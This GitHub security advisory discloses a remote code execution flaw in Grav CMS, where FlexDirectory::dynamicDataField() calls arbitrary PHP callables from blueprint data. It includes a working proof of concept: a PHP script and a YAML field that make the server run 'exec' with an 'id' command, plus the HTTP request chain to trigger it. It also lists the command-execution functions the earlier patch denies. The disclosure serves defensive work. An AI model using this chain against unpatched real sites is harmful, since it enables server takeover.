GitHub Advisoryadvisory · Packagist
GHSA-c4wf-2xxc-68qm Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation
HIGH
Official page ↗
- Aliases
- CVE-2026-65608
- Ecosystem
- Packagist
- Packages
- getgrav/grav
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-470
- Reviewed
- 2026-09-17
Affected packages
• Packagist getgrav/grav: >= 1.7.0, < 2.0.9 → fixed in 2.0.9
Description
Summary
A missing validation check in Grav's Flex framework lets an account holding nothing but an ordinary object-create permission on a single Flex directory execute arbitrary shell commands on the server. Any authenticated user with `create` or `update` rights on a Flex-based directory (Flex Users, Flex Pages, Flex Objects, or any custom Flex type) can trigger it the moment a blueprint field anywhere in that directory carries a `data-*@:` directive, since the code that resolves those directives calls `call_user_func_array()` on attacker-influenced input with no restriction at all.
This is a bypass of GHSA-fj2p-qj2f-74v5, already patched in 2.0.7. That fix added real validation to `Blueprint::dynamicData()`, but Grav's Flex system routes the same directive through a separate, unprotected method, `FlexDirectory::dynamicDataField()`, which never received the same fix.
Details
Grav blueprints support `action-property@:` directives, YAML keys that tell the blueprint engine to compute a field's value dynamically by calling a function. `Blueprint::init()` (`system/src/Grav/Common/Data/Blueprint.php:167-177`) resolves these by checking for a registered handler first, and only falling back to the built-in `dynamic{Action}` method if none is registered:
```php
foreach ($data as $property => $call) {
$action = $call['action'];
$method = 'dynamic' . ucfirst((string) $action);
$call['object'] = $this->object;
if (isset($this->handlers[$action])) {
$callable = $this->handlers[$action];
$callable($current, $property, $call);
} elseif (method_exists($this, $method)) {
$this->{$method}($current, $property, $call);
}
}
```
`FlexDirectory::getBlueprint()` (`system/src/Grav/Framework/Flex/FlexDirectory.php:878-880`) registers exactly such a handler for the `data` action, for every Flex directory:
```php
$blueprint->addDynamicHandler('data', function (array &$field, $property, array &$call) {
$this->dynamicDataField($field, $property, $call);
});
```
Because a handler is registered, `Blueprint::init()` never falls through to the patched `Blueprint::dynamicData()`. It calls `FlexDirectory::dynamicDataField()` instead (`system/src/Grav/Framework/Flex/FlexDirectory.php:906-928`):
```php
protected function dynamicDataField(array &$field, $property, array $call)
{
$params = $call['params'];
if (is_array($params)) {
$function = array_shift($params);
} else {
$function = $params;
$params = [];
}
$object = $call['object'];
if ($function === '\Grav\Common\Page\Pages::pageTypes') {
$params = [$object instanceof PageInterface && $object->isModule() ? 'modular' : 'standard'];
}
$data = null;
if (is_callable($function)) {
$data = call_user_func_array($function, $params);
}
// ...
}
```
`is_callable()` only checks that `$function` resolves to something callable. It does not check whether calling it is safe. `'exec'`, `'system'`, `'passthru'`, and `'shell_exec'` are all valid PHP callables, so this passes them through without complaint.
Compare this to the patched `Blueprint::dynamicData()` (`system/src/Grav/Common/Data/Blueprint.php:426-448`), which calls `$this->isSafeDynamicCall($function, $params)` before doing anything. That method denies known command-execution functions (`exec`, `system`, `passthru`, `shell_exec`, `popen`, `proc_open`, `pcntl_exec`), known code-execution functions (`assert`, `preg_replace`, `create_function`, `include`, `require`), and recursively checks the argument list for a dangerous callable smuggled in as a parameter, which is the trampoline pattern the original GHSA exploited through `Utils::arrayFilterRecursive`. None of that logic exists in `dynamicDataField()`.
Version tested: current `master`, commit `fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969`. `git describe` reports this as `2.0.8-2-gfae9e1bf2`, two commits past the `2.0.8` tag. I checked those two commits directly: one is a merge commit, the other fixes spaces in Markdown image/link filenames (`ParsedownGravTrait.php`, unrelated). Neither touches `Blueprint.php`, `FlexDirectory.php`, or `Utils.php`. `git diff 2.0.8 -- system/src/Grav/Framework/Flex/FlexDirectory.php system/src/Grav/Common/Data/Blueprint.php` returns no output, so the vulnerable code is byte-for-byte identical to what shipped in the released 2.0.8 version. I also checked the CHANGELOG for 2.0.7, 2.0.8, and the not-yet-tagged 2.0.9 entry: 2.0.7 documents the original GHSA-fj2p-qj2f-74v5 fix, and neither 2.0.8 nor 2.0.9 mentions Flex, dynamic field data, or any related change. The two methods were never unified, so this gap has existed since the original patch shipped in 2.0.7 and is still present in the latest code as of this report.
PoC
Part 1, code level. This is the minimal, self-contained reproduction: no web server, no plugins, no accounts, just a checkout with `composer install` run. It calls the real, unmodified `FlexDirectory::dynamicDataField()` directly and is a suitable regression check for confirming the fix; once the method is patched to reject dangerous callables, this script should stop writing the proof file.
```php
[
'myfield' => [
'type' => 'text',
'data-test@' => ['exec', "id > $proofFile 2>&1"],
],
],
];
$blueprint = new Blueprint(null, $items);
$blueprint->embed('', $items); // triggers deepInit(), populates $blueprint->dynamic
// Register the real, unmodified FlexDirectory::dynamicDataField as the 'data'
// handler. This is exactly what FlexDirectory::getBlueprint() does for every
// Flex directory in production.
$refClass = new ReflectionClass(FlexDirectory::class);
$flexDirectoryInstance = $refClass->newInstanceWithoutConstructor();
$method = $refClass->getMethod('dynamicDataField');
$method->setAccessible(true);
$blueprint->addDynamicHandler('data', function (array &$field, $property, array &$call) use ($method, $flexDirectoryInstance) {
$method->invoke($flexDirectoryInstance, $field, $property, $call);
});
$blueprint->init();
echo file_exists($proofFile) ? file_get_contents($proofFile) : "not vulnerable\n";
```
Output:
```
uid=1000(d) gid=1000(d) groups=1000(d),4(adm),...
```
Part 2, full HTTP chain against the real admin panel. Configuration used:
• Base checkout: same commit as above.
• `bin/gpm install admin flex-objects -y`, which pulls in `form`, `login`, `email`, `shortcode-core`, `api` as dependencies.
• `php -S localhost:8000 system/router.php`.
Step 1. `flex-objects` ships a self-contained sample custom directory at `blueprints/flex-objects/contacts.yaml`, with its own `admin.contacts`/`api.contacts` permission set. Added one field to its `form.fields`:
```yaml
pocfield:
type: text
label: PoC Field
data-test@:
• exec
• "id > /tmp/grav_http_rce_proof.txt 2>&1"
```
Step 2. Registered `contacts` as an active directory through a normal config override, the same file the admin Plugin Configuration screen writes to (`user/config/plugins/flex-objects.yaml`):
```yaml
directories:
• 'blueprints://flex-objects/pages.yaml'
• 'blueprints://flex-objects/user-accounts.yaml'
• 'blueprints://flex-objects/user-groups.yaml'
• 'blueprints://flex-objects/contacts.yaml'
```
Step 3. Confirmed a full super-admin account can trigger it, as a baseline. `POST /api/v1/flex-objects/contacts` (the ordinary "create a new contact" endpoint) with a super-admin JWT:
```
HTTP 201 Created
```
`/tmp/grav_http_rce_proof.txt` …
Related
Alias · CVE (1)
- CVE-2026-65608 Grav versions >= 1.7.0 and before 2.0.9 contain a remote code execution vulnerability. vulnerability
Weakness · CWE (1)
- CWE-470 Use of Externally-Controlled Input to Select Classes or Code weakness
References
- https://github.com/getgrav/grav/security/advisories/GHSA-c4wf-2xxc-68qm web
- https://nvd.nist.gov/vuln/detail/CVE-2026-65608 advisory
- https://github.com/getgrav/grav/commit/fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969 web
- https://github.com/getgrav/grav package
- https://www.vulncheck.com/advisories/grav-before-remote-code-execution-via-flexdirectory web